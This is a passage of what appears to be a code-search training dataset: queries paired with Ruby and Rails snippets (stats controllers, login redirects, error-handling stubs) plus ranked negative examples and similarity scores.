[7 * array.first]\n end\nend", "def my_method(array)\n if array.empty?\n []\n elsif array.size > 1\n array.map do |value|\n value * value\n end\n else\n [7 * array.first]\n end\nend", "def test_0760_one?\n @@log.debug \"test_0760_one? starts\" if @@log.debug?\n assert_respond_to(@list, :one?, \"test_0760_one?_respond\")\n # Only one true, gives true\n result = @list.one? {|obj|\n case\n when obj == @aen\n true\n else\n false\n end\n }\n assert(result, \"test_0760_one?_true\")\n # Multiple true gives false\n result = @list.one? {|obj|\n case\n when obj == @aen\n true\n when obj == @dad\n true\n else\n false\n end\n }\n assert(result == false, \"test_0760_one?_false\")\n #\n @@log.debug \"test_0760_one? ends\" if @@log.debug?\n end", "def _reduce_342(val, _values, result)\n else_t, else_ = val[4]\n result = [ val[0],\n @builder.condition(val[0], val[1], val[2],\n val[3], else_t,\n else_, nil),\n ]\n \n result\nend", "def _reduce_342(val, _values, result)\n else_t, else_ = val[4]\n result = [ val[0],\n @builder.condition(val[0], val[1], val[2],\n val[3], else_t,\n else_, nil),\n ]\n \n result\nend", "def get(data, &succ)\n if succ\n (data || []).filter(&@pred).map(&succ)\n else\n data\n end\n end", "def _reduce_356(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_356(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_356(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def _reduce_356(val, _values, result)\n result = s(:if, val[1], val[3], val[4])\n \n result\nend", "def any?(collection)\n collection.each do |element|\n return true if yield(element)\n end\n false\nend", "def my_all?(main_param = nil)\n result = true\n my_each do |element|\n condition = my_all_any_none_helper(main_param, element) { |i| block_given? ? yield(i) : i }\n result &&= condition\n break if result == false\n end\n result\n end" ]
[ "0.6072054", "0.6072054", "0.598768", "0.59720343", "0.5894473", "0.58847475", "0.58847475", "0.58384115", "0.58384115", "0.58384115", "0.57745826", "0.57745826", "0.5770944", "0.5770944", "0.5770944", "0.5770944", "0.57584614", "0.575663", "0.5730085", "0.56941384", "0.5687915", "0.5683342", "0.5671435", "0.56381816", "0.5636914", "0.5616299", "0.5616299", "0.5612392", "0.55983675", "0.5561967", "0.55460006", "0.5538333", "0.5522112", "0.55212295", "0.5515199", "0.5511277", "0.5487282", "0.5487282", "0.54678303", "0.5467674", "0.5465771", "0.5461774", "0.5461774", "0.543732", "0.5403808", "0.53979075", "0.53979075", "0.53979075", "0.5388711", "0.53856784", "0.5379136", "0.53478426", "0.53449726", "0.53445435", "0.5344353", "0.53228897", "0.53016806", "0.53016806", "0.53016806", "0.53016806", "0.53016806", "0.53016806", "0.53016806", "0.53007215", "0.5299871", "0.5291952", "0.5286894", "0.5286406", "0.5281702", "0.5278301", "0.5276202", "0.5272722", "0.5271742", "0.52716196", "0.52716196", "0.5267462", "0.5266976", "0.5262717", "0.5256118", "0.52545583", "0.5254022", "0.5254022", "0.5254022", "0.5250443", "0.5243837", "0.5243837", "0.5243837", "0.5236134", "0.52327967", "0.52327967", "0.52327967", "0.5232213", "0.5231919", "0.5231919", "0.52212304", "0.52207303", "0.52207303", "0.52207303", "0.52207303", "0.52182984", "0.52155507" ]
0.0
-1
use only in tests, prefer other methods such as `on_error`
def error! throw NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def on_error error\n raise error\n end", "def on_error(err)\n raise err\n end", "def do_failure; end", "def errorhandling\n end", "def on_failure(object, *args); end", "def on_error(exception)\n raise exception\n end", "def example_failed(_)\n end", "def error; end", "def error; end", "def error; end", "def error; end", "def error; end", "def error; end", "def error; end", "def catch_exceptions; end", "def run_and_raise_on_failure\n # TODO ?\n end", "def on_error(msg)\n end", "def on_error(onError) # block\n end", "def on_error\n @on_error || DEFAULT_ON_ERROR\n end", "def failures; end", "def failures; end", "def failures; end", "def on_error(&block)\n @on_error = block\n end", "def on_failure(exception)\n raise NotImplementedError\n end", "def api_error; end", "def onerror(&blk); super; end", "def mock_error_type\n _undefined\n end", "def error?; end", "def error?; end", "def error?; end", "def check_errors;\n end", "def client_error?; end", "def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end", "def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end", "def on_error(&block)\n block_given? ? @_on_error = block : @_on_error\n end", "def before_server_error(exception); end", "def error\n end", "def handle_perform_error(_e); end", "def on_fail(&f)\n @on_fail = f\n end", "def original_error; end", "def original_error; end", "def failure\n end", "def on_error(error); @parent.on_error(@env, error); end", "def exception_handler; end", "def on_error(&blk)\n @on_error = blk\n @on_error.call(@error) if @error\n end", "def error(exception) nil ; end", "def test_sample3\n\n @action.tap_non_exist_elememnt\n\n rescue StandardError => e\n @action.error_handling(scenario_name: method_name, error_obj: e)\n end", "def server_error?; end", "def run_failed; end", "def on_error(error)\n @result << \"error: #{error}\"\n end", "def fail\n # no-op\n end", "def notify_error(error)\n end", "def recover_from(_error); end", "def exceptions; end", "def error\n\t\t\traise 'Test'\n\t\tend", "def on_error(&callback)\n @err_cb, @err_cb_overridden = callback, true\n end", "def fail\n end", "def on_error(&callback)\n @on_error = callback\n end", "def process_hook\n fail 'sub class to implement'\n end", "def failure!\n end", "def error_handler()\n @error_handler\n end", "def check_errors;\n end", "def wrapped_exception; end", "def on_error?\n @kind == :on_error\n end", "def after_failed\n end", "def post_fail_message; end", "def error\n failure\n end", "def client_error(e, client); end", "def server_errors; end", "def log_error(exception); end", "def abort_on_exception=(*) end", "def check_error(response)\n raise NotImplementedError\n end", "def failure\n super\n end", "def errback &block\n super\n end", "def errback &block\n super\n end", "def handle_generic_error(exception)\n end", "def on_error(&block)\n @error_handler = block\n end", "def exception_handler(ex)\n \nend", "def test_a_noticeable_error_is_not_created_on_failure_if_a_segment_is_absent\n multi = Curl::Multi.new\n request = OpenStruct.new\n error = [OpenStruct.new(name: 'name'), 'last']\n prep_on_failure(request)\n def multi.remove_failure_callback(request); end\n # if noticeable error creation attempt, explode\n NewRelic::Agent::NoticeableError.stub(:new, -> { raise 'kaboom' }) do\n multi.install_failure_callback(request, nil, nil)\n end\n end", "def on_error(&blk)\n @error_handler = blk\n self\n end", "def on_error(&block)\n @@error_block = block\n end", "def failure\n super\n end", "def ioerr; end", "def on_error(&block)\n if block_given?\n @on_error = block\n self\n else\n @on_error\n end\n end", "def on_error(&callback)\n @err_cb, @err_cb_overridden = callback, true\n end", "def setup_error_handling(rack_env)\n end", "def on_exception(&f)\n @on_exception = f\n end", "def exception; end", "def exception; end", "def exception; end", "def exception; end", "def exception; end", "def test_report_event\r\n assert_respond_to(@log, :report_event)\r\n assert_respond_to(@log, :write) # alias\r\n assert_raises(ArgumentError){ @log.report_event }\r\n end", "def storage_failure=(_arg0); end", "def after_exception(e)\n end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end", "def errors; end" ]
[ "0.7251966", "0.7169255", "0.6739868", "0.6646719", "0.66273904", "0.6565781", "0.65572804", "0.6502941", "0.6502941", "0.6502941", "0.6502941", "0.6502941", "0.6502941", "0.6502941", "0.64963883", "0.64837205", "0.6475662", "0.6466872", "0.64057136", "0.6359451", "0.6359451", "0.6359451", "0.63077706", "0.6286959", "0.62471616", "0.6240884", "0.623232", "0.62271553", "0.62271553", "0.62271553", "0.6207213", "0.6198266", "0.61921275", "0.61921275", "0.61921275", "0.61698234", "0.61663944", "0.616392", "0.61467165", "0.6136293", "0.6136293", "0.61359215", "0.61115354", "0.6078546", "0.60412204", "0.6030217", "0.6027316", "0.60184926", "0.6015789", "0.5997542", "0.59954995", "0.59919727", "0.5975574", "0.59613574", "0.59468234", "0.59383285", "0.59324676", "0.592256", "0.5915903", "0.59130406", "0.59117854", "0.59096086", "0.58886576", "0.5876968", "0.586198", "0.58544487", "0.5841775", "0.5837418", "0.58306015", "0.5816387", "0.5813155", "0.5806365", "0.58033836", "0.57770413", "0.57770413", "0.57745886", "0.5770609", "0.5751906", "0.5749173", "0.5742917", "0.57402503", "0.573681", "0.5728502", "0.5723612", "0.57199293", "0.57186997", "0.5714679", "0.5714109", "0.5714109", "0.5714109", "0.5714109", "0.5714109", "0.5710739", "0.5708556", "0.5693501", "0.5685433", "0.5685433", "0.5685433", "0.5685433", "0.5685433", "0.5685433" ]
0.0
-1
Check if the user is logged in. If not, redirect the user to the log in page.
def require_ownership unless current_user redirect_to login_path end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_logged_in\n unless current_user\n redirect_to '/login'\n end\n end", "def redirect_if_not_logged_in\n if !logged_in?\n flash[:errors] = \"You must be logged in to view the page \"\n redirect '/'\n end\n end", "def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n end", "def if_logged_in_redirect\n if logged_in?\n redirect_to current_user\n end\n end", "def if_logged_in_redirect\n if logged_in?\n redirect_to current_user\n end\n end", "def check_if_logged_in\n redirect_to(new_user_path) if @current_user.nil?\n end", "def check_if_logged_in\n redirect_to(new_user_path) if @current_user.nil?\n end", "def redirect_if_not_logged_in\n if !logged_in?\n flash[:notice] = \"You must be logged in to view the page you tried to view.\"\n redirect '/'\n end\n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url, flash: { danger: \"Please log in.\" }\n end\n end", "def redirect_if_not_logged_in\n if !logged_in?\n flash[:message] = \"You must login to view this page\"\n # flash[:errors] = \"You must be logged in to view the page you tried to view.\"\n redirect '/'\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:warning] = \"Please log in\"\n redirect_to root_url\n end\n end", "def check_logged_in\n if !user_signed_in?\n redirect_to new_user_session_path\n end\n\n return\n end", "def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end", "def redirect_if_logged_in\n if logged_in?\n redirect \"/users/#{current_user.id}\"\n end\n #def redirect_if_logged_in_as_someone_else\n #end\n end", "def logged_in_user\n unless logged_in?\n redirect_to root_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:info] = \"Please log in!\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url, flash: { danger: 'Por favor, faça login' }\n end\n end", "def redirect_if_no_login\n if !current_user\n flash[:notice] = \"You need to sign in before viewing this page.\"\n redirect_to root_path\n end\n end", "def logged_in_user\n unless logged_in?\n redirect_to '/login'\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:negative] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end", "def logged_in_user\n if !logged_in?\n flash[:failure] = \"You must sign in first.\"\n redirect_to(login_url)\n end\n end", "def logged_in_user\n if !logged_in?\n flash[:failure] = \"You must sign in first.\"\n redirect_to(login_url)\n end\n end", "def redirect_if_not_logged_in\n #redirect the user if the user is not logged in\n end", "def redirect_if_logged_in\n if !!current_user\n flash[:notice] = \"You are already logged in.\"\n redirect_to root_path\n end\n end", "def check_login!\n u = check_and_get_user\n redirect to('/signin.html') unless u\n u\n end", "def redirect_if_not_logged_in\n\t\tredirect_to '/' if !logged_in?\n\tend", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless !current_user.nil?\n flash[:danger] = \"Please log in.\"\n redirect_to root_path\n end\n end", "def check_logged_in?\n if !logged_in?\n redirect_to root_path\n end\n end", "def logged_in_user\n unless logged_in?\n redirect_to login_url\n end\n end", "def verify_logged_in\n redirect_to root_path unless logged_in?\n end", "def check_if_logged_in\n unless @current_user.present?\n flash[:login_error] = \"Please login to view that page.\"\n redirect_to login_path\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in\"\n redirect_to login_url\n end\n end", "def check_logged_in\n return if current_user.present?\n\n redirect_to new_session_path and return\n end", "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in first.\"\n redirect_to root_url\n end\n end", "def logged_in\n if current_user == nil\n redirect_to new_user_session_path\n end\n end", "def logged_in_user\n unless logged_in? # Sessions helper method.\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to log_in_url\n end\n end", "def logged_in\n if current_user == nil\n redirect_to new_user_session_path, alert: \"You are not logged in\"\n end\n end", "def logged_in?\n if current_user == nil\n redirect_to \"/sign_in\"\n end\n end", "def user_authenticated\n redirect_to root_url, alert: 'You must be logged in to go here' unless current_user\n end", "def logged_in_user\n unless logged_in?\n # store intended location to be used for friendly forwarding after\n # the user properly logs in\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_path\n end\n end", "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "def logged_in_user\n unless logged_in?\n store_location\n redirect_to root_url\n end\n end", "def log_in?\n if current_user\n redirect_to user_path\n end\n end", "def redirect_if_logged_in\n redirect_to root_path if logged_in?\n end", "def ensure_logged_in\n if (!logged_in?)\n redirect_to login_url\n end\n end", "def logged_in_user\n unless current_user\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def redirect_if_not_logged_in\n redirect_to login_path unless logged_in?\n end", "def make_sure_logged_in\n\t\tif not current_user.present?\n\t\t\tflash[:error] = \"You must be signed up to see this page\"\n\t\t\tredirect_to new_user_path\n\t\tend\n\tend", "def redirect_if_logged_in\n if current_user && session[:url_on_missing_user_session]\n url = session[:url_on_missing_user_session]\n session[:url_on_missing_user_session] = nil\n redirect_to url\n end\n end", "def logged_in?\n unless current_user\n redirect_to login_path, notice: 'You must be logged in to do that.'\n end\n end", "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to user_login_url\n end\n end", "def already_logged_in\n\t\t\t#current user is not nil\n\t\t\tif !current_user.nil?\n\t\t\t\tredirect_to root_url\n\t\t\tend\n\t\tend", "def logged_in_user?\n unless logged_in?\n redirect_to new_user_session_path\n flash[:danger] = \"Please login to do that action\"\n end\n end", "def logged_in_user\n \tunless logged_in?\n \t\tflash[:danger] = \"Please log in.\"\n \t\tredirect_to login_url\n \tend\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to root_url\n end\n end", "def redirect_unless_logged_in\n unless current_member\n session[:redirect] = request.original_url\n flash.alert = \"You must be logged in to view page\"\n redirect_to root_path and return false\n end\n end", "def logged_in_user\n unless logged_in?\n flash[:danger] = \"Please log in.\"\n redirect_to login_url(@user)\n end\n end", "def logged_in_redirect\n if logged_in?\n flash[:err] = \"you are already logged in\"\n redirect_to root_path\n end\n end", "def logged_in_user\n unless current_user\n flash[:danger] = \"Please log in.\"\n redirect_to log_in_path\n end\n end", "def auth\n #redirect to login page unless already logged in\n redirect_to new_user_session_path, alert: \"You must login to access that page\" unless logged_in?\n end", "def logged_in?\n redirect_to(root_path, notice: 'Unauthorized access!') unless current_user\n end", "def require_login\n if !current_user\n redirect_to \"/\"\n end\n end", "def logged_in_user\n unless current_user \n redirect_to root_path\n end\n end", "def logged_in?\n if current_user == nil\n redirect_to new_user_session_path, alert: \"Kindly Login!\"\n end\n end", "def check_authentication\n unless logged_in?\n flash[:warning] = \"You must be logged in to view the requested page.\"\n request.env[\"HTTP_REFERER\"] ? (redirect_to :back) : (redirect_to :action => \"index\", :controller => \"site\")\n return false\n end\n end", "def require_logged_in\n redirect_to root_path unless logged_in?\n end", "def logged_in_user?\n unless logged_in?\n store_location\n flash[:info] = 'please log in first'\n redirect_to login_path\n end\n end", "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to signin_url\n end\n end", "def logged_in_user?\n if logged_in?\n redirect_to user_path(current_user)\n end\n end", "def logged_in_user\n unless logged_in?\n #We store the location where the users want to go\n #and then ask them to log in, once they log in, we will\n #redirect them to that location.\n store_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def authenticate_user\n redirect_to \"/login\" unless logged_in?\n end", "def must_be_logged_in\n redirect_to root_path unless logged_in?\n end", "def check_redirect_if_user_login\n \t\tif signed_in?\n \t\t\tflash[:alert] = \"You are already login.\"\n \t\t\tredirect_to homes_path and return \n \t\tend\n \tend", "def logged_in_user\n unless logged_in?\n store_location\n flash[:danger] = \"Please log in to view this page.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n if logged_in?\n redirect_to(user_path(@current_user)) if params[:id] != @current_user.id.to_s\n else\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n\tunless logged_in?\n\t store_location\n\t flash[:danger] = \"Please log in.\"\n\t redirect_to login_url\n\tend\n end", "def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user\n unless logged_in?\n \tstore_location\n flash[:danger] = \"Please log in.\"\n redirect_to login_url\n end\n end", "def logged_in_user?\n unless logged_in?\n store_URL\n flash[:alert] = 'Please log in.'\n redirect_to login_path\n end\n end", "def authenticate_user\n \tif !logged_in?\n \tredirect_to login_url\n \tend\n end", "def logged_in_user\n\t\tunless logged_in?\n\t\t\tstore_location\n\t\t\tflash[:danger] = \"Log in\"\n\t\t\tredirect_to login_url\n\t\tend\n\tend", "def logged_in_user\r\n unless logged_in?\r\n flash[:danger] = \"Please log in.\"\r\n redirect_to login_url\r\n end\r\n end" ]
[ "0.8608616", "0.8523593", "0.8460603", "0.8435172", "0.8435172", "0.8381257", "0.8381257", "0.8372853", "0.8322884", "0.8294782", "0.828405", "0.8280424", "0.82173187", "0.82094765", "0.8203997", "0.8190787", "0.81859076", "0.81793064", "0.8176551", "0.8162803", "0.8162382", "0.81534225", "0.8145752", "0.8145752", "0.8134403", "0.8132814", "0.81149167", "0.81045234", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81042427", "0.81039506", "0.8096139", "0.80944663", "0.8079932", "0.8077579", "0.8074532", "0.8065971", "0.8051429", "0.8037309", "0.80347174", "0.8027575", "0.80221343", "0.80088556", "0.8005546", "0.8004856", "0.7995872", "0.7995567", "0.7995567", "0.79870915", "0.79869133", "0.7981787", "0.797797", "0.7975511", "0.79754287", "0.79751897", "0.79724824", "0.79656476", "0.7958077", "0.7954623", "0.79400164", "0.7939252", "0.7938119", "0.79302365", "0.7926201", "0.7922879", "0.79189086", "0.7916024", "0.7914832", "0.7912726", "0.79081047", "0.79048795", "0.790109", "0.7899495", "0.7896726", "0.7893545", "0.7892989", "0.7890639", "0.78897774", "0.78855014", "0.7885094", "0.78832185", "0.7882152", "0.78818035", "0.78818035", "0.7873167", "0.78729", "0.78724086", "0.7869192" ]
0.0
-1
GET /active_stats/1 GET /active_stats/1.json
def show @active_stat = ActiveStat.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render :json => @active_stat } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stats\n request :get, \"_stats\"\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n Client.current.get(\"#{resource_url}/stats\")\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def activity_statistics\n get(\"/user/#{@user_id}/activities.json\")\n end", "def stats\n _get(\"/system/stats\") { |json| json }\n end", "def index\n @backend_stats = Backend::Stat.order('created_at ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backend_stats }\n end\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def index\n @stats = Stat.all\n end", "def stats\n @stats = {}\n @stats[\"online\"] = \"Of course. That's how the internet works.\"\n @stats[\"requested_at\"] = Time.now\n @stats[\"total_tweets\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from tweets\").all_hashes.first[\"rows\"]\n @stats[\"total_users\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from users\").all_hashes.first[\"rows\"]\n @stats[\"number_collections\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections\").fetch_row.first\n @stats[\"researchers_active\"] = ActiveRecord::Base.connection.execute(\"select count(id) from researchers\").fetch_row.first\n @stats[\"scrape_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from scrapes\").fetch_row.first\n @stats[\"datasets_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections where single_dataset = 1\").fetch_row.first\n @stats[\"analysis_jobs_completed\"] = ActiveRecord::Base.connection.execute(\"select count(id) from analysis_metadatas\").fetch_row.first\n @stats[\"total_graphs\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graphs\").all_hashes.first[\"rows\"]\n @stats[\"total_graph_points\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graph_points\").all_hashes.first[\"rows\"]\n @stats[\"total_edges\"] = ActiveRecord::Base.connection.execute(\"select count(id) from edges\").fetch_row.first\n respond_to do |format|\n format.xml { render :xml => @stats.to_xml }\n format.json { render :json => @stats.to_json }\n end\n end", "def show\n render json: @stat\n end", "def stats\n return self.endpoint.stats(self.id)\n end", "def stats\n @server.make_json_request('show.stats', tvdbid: @tvdbid)['data']\n end", "def index\n @stats = Stat.all\n end", "def stats\n response[\"stats\"]\n end", "def stats\n year = Analytic.where(\"created_at > ?\", Time.now - 1.year)\n @stats = time_data year\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(year, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(year, :hash) }\n end\n end", "def show\n @backend_stat = Backend::Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @backend_stat }\n end\n end", "def stats\n ## TODO:\n end", "def index\n @stats = Stat.all\n\n render json: {data:\n @stats.map {|stat|\n days = range_to_days(stat)\n {\n total_seconds: stat.total_seconds,\n human_readable_total: humanize(stat.total_seconds),\n daily_average: stat.daily_average,\n human_readable_daily_average: humanize(stat.daily_average),\n range: stat.range,\n holidays: stat.holidays,\n days_including_holidays: days,\n days_minus_holidays: days - stat.holidays,\n status: stat.status,\n is_already_updating: stat.is_already_updating,\n is_stuck: stat.is_stuck,\n is_up_to_date: stat.is_up_to_date,\n timeout: stat.timeout,\n editors: stat.editors.map {|e|\n {\n name: e.name,\n total_seconds: e.total_seconds,\n percent: e.percent\n }\n }\n }\n }}\n end", "def index\n\t\t# Find average activity\n\t\tactivity = 12\n\t\tconnectivity = 12\n\t\tdate = Date.today\n\t\ttime = Time.now\n\t\trender json: user_index_json(nil)\n\tend", "def status\n get('/api/status')\n end", "def raw_stats\n url = URI.parse(stats_url)\n Net::HTTP.start(url.host, url.port) {|http|\n http.request(Net::HTTP::Get.new(url.path))\n }.body\nend", "def stats\n @stats = time_data Gig.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Gig.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Gig.all, :hash) }\n end\n end", "def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end", "def status\n get_json('status.json')\n end", "def stats\n repo = Repo.find(params[:id])\n\n render(:json => CodeburnerUtil.get_repo_stats(repo.id))\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"Service or findings not found}\"}, :status => 404)\n end", "def stats\n StatsManager::StatsD.time(Settings::StatsConstants.api['user']['stats']) do\n if params[:id] == current_user.id.to_s\n # A regular user can only view his/her own stats\n @user = current_user\n elsif current_user.is_admin\n # admin users can view anyone's stats\n unless @user = User.where(:id => params[:id]).first\n return render_error(404, \"could not find that user\")\n end\n else\n return render_error(401, \"unauthorized\")\n end\n\n @status = 200\n num_recent_frames = params[:num_frames] ? params[:num_frames].to_i : Settings::UserStats.num_recent_frames\n @stats = GT::UserStatsManager.get_dot_tv_stats_for_recent_frames(@user, num_recent_frames)\n @stats.each {|s| s.frame.creator[:shelby_user_image] = s.frame.creator.avatar_url}\n end\n end", "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @stat }\n end\n end", "def stats\n @stats = time_data MonzoTransaction.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(MonzoTransaction.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(MonzoTransaction.all, :hash) }\n end\n end", "def view_stats_all\n data = {\n :name => \"Company Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n Impression.where(\n \"created_at > ? AND created_at < ? AND action_name = ? AND controller_name = ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day,\n 'stat_show',\n 'companies'\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end", "def show\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n format.html { render \"show\" }\n format.json { render json: @stat }\n end\n end", "def index\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @stats }\r\n end\r\n end", "def stats(id)\n request(:get, \"/users/#{id}/vm_stats.json\")\n end", "def status_info\n current_path = '/api/v1/status'\n @conn.get(current_path)\n end", "def index\n @group_stats = GroupStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_stats }\n end\n end", "def import_active_stats\n\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @statistics = Statistic.all\n end", "def index\n @sub_stats = SubStat.all\n end", "def index\n @stats = Stat.all\n @stat = Stat.new\n render html: @stats, json: @stats\n # respond_to do |format|\n # format.html\n # format.json\n # end\n end", "def show\n @daily_statistic = DailyStatistic.find(params[:id])\n\n render json: @daily_statistic\n end", "def view_stats\n @company = Company.find(params[:id])\n data = {\n :name => \"Student Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n @company.impressions.where(\n \"created_at > ? AND created_at < ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end", "def statuses\n request(:get, \"applicant_tracking/statuses\")\n end", "def stats\n @client.stats\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json do\n stats = @mode.stats.map(&:to_simple)\n render json: stats, status: :ok\n end\n end\n end", "def admin_stats\n logger.debug('Getting admin statistics') if @debug\n get('/api/admin/stats')\n end", "def index\n @stats = Stat.where(:match_id => params[:match_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stats }\n end\n end", "def show\n url = Url.find(params[:id].to_i)\n @stats = {\n shortened_url: \"#{request.base_url}/#{url.shortened_url}\",\n original_url: url.original_url,\n usage_count: url.count,\n created_at: url.created_at,\n most_recent_use: url.updated_at\n }\n end", "def stats\n @stats = time_data Episode.all\n @cloud = word_cloud Episode.pluck(:title)\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Episode.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Episode.all, :hash) }\n end\n end", "def stats\n end", "def stats\n end", "def stats\n @stats = time_data SolarReading.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(SolarReading.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(SolarReading.all, :hash) }\n end\n end", "def stats(params = {})\n response = client.get \"/_cluster/stats\", params.merge(action: \"cluster.stats\", rest_api: \"cluster.stats\")\n response.body\n end", "def new\n @active_stat = ActiveStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def index\n @tw_stats = TwStat.all\n end", "def user_stats\n @user = User.find(params[:id])\n @stats = time_data @user.episodes\n @cloud = word_cloud @user.episodes.pluck(:title)\n\n respond_to do |format|\n format.html { render 'stats' }\n format.json { render json: 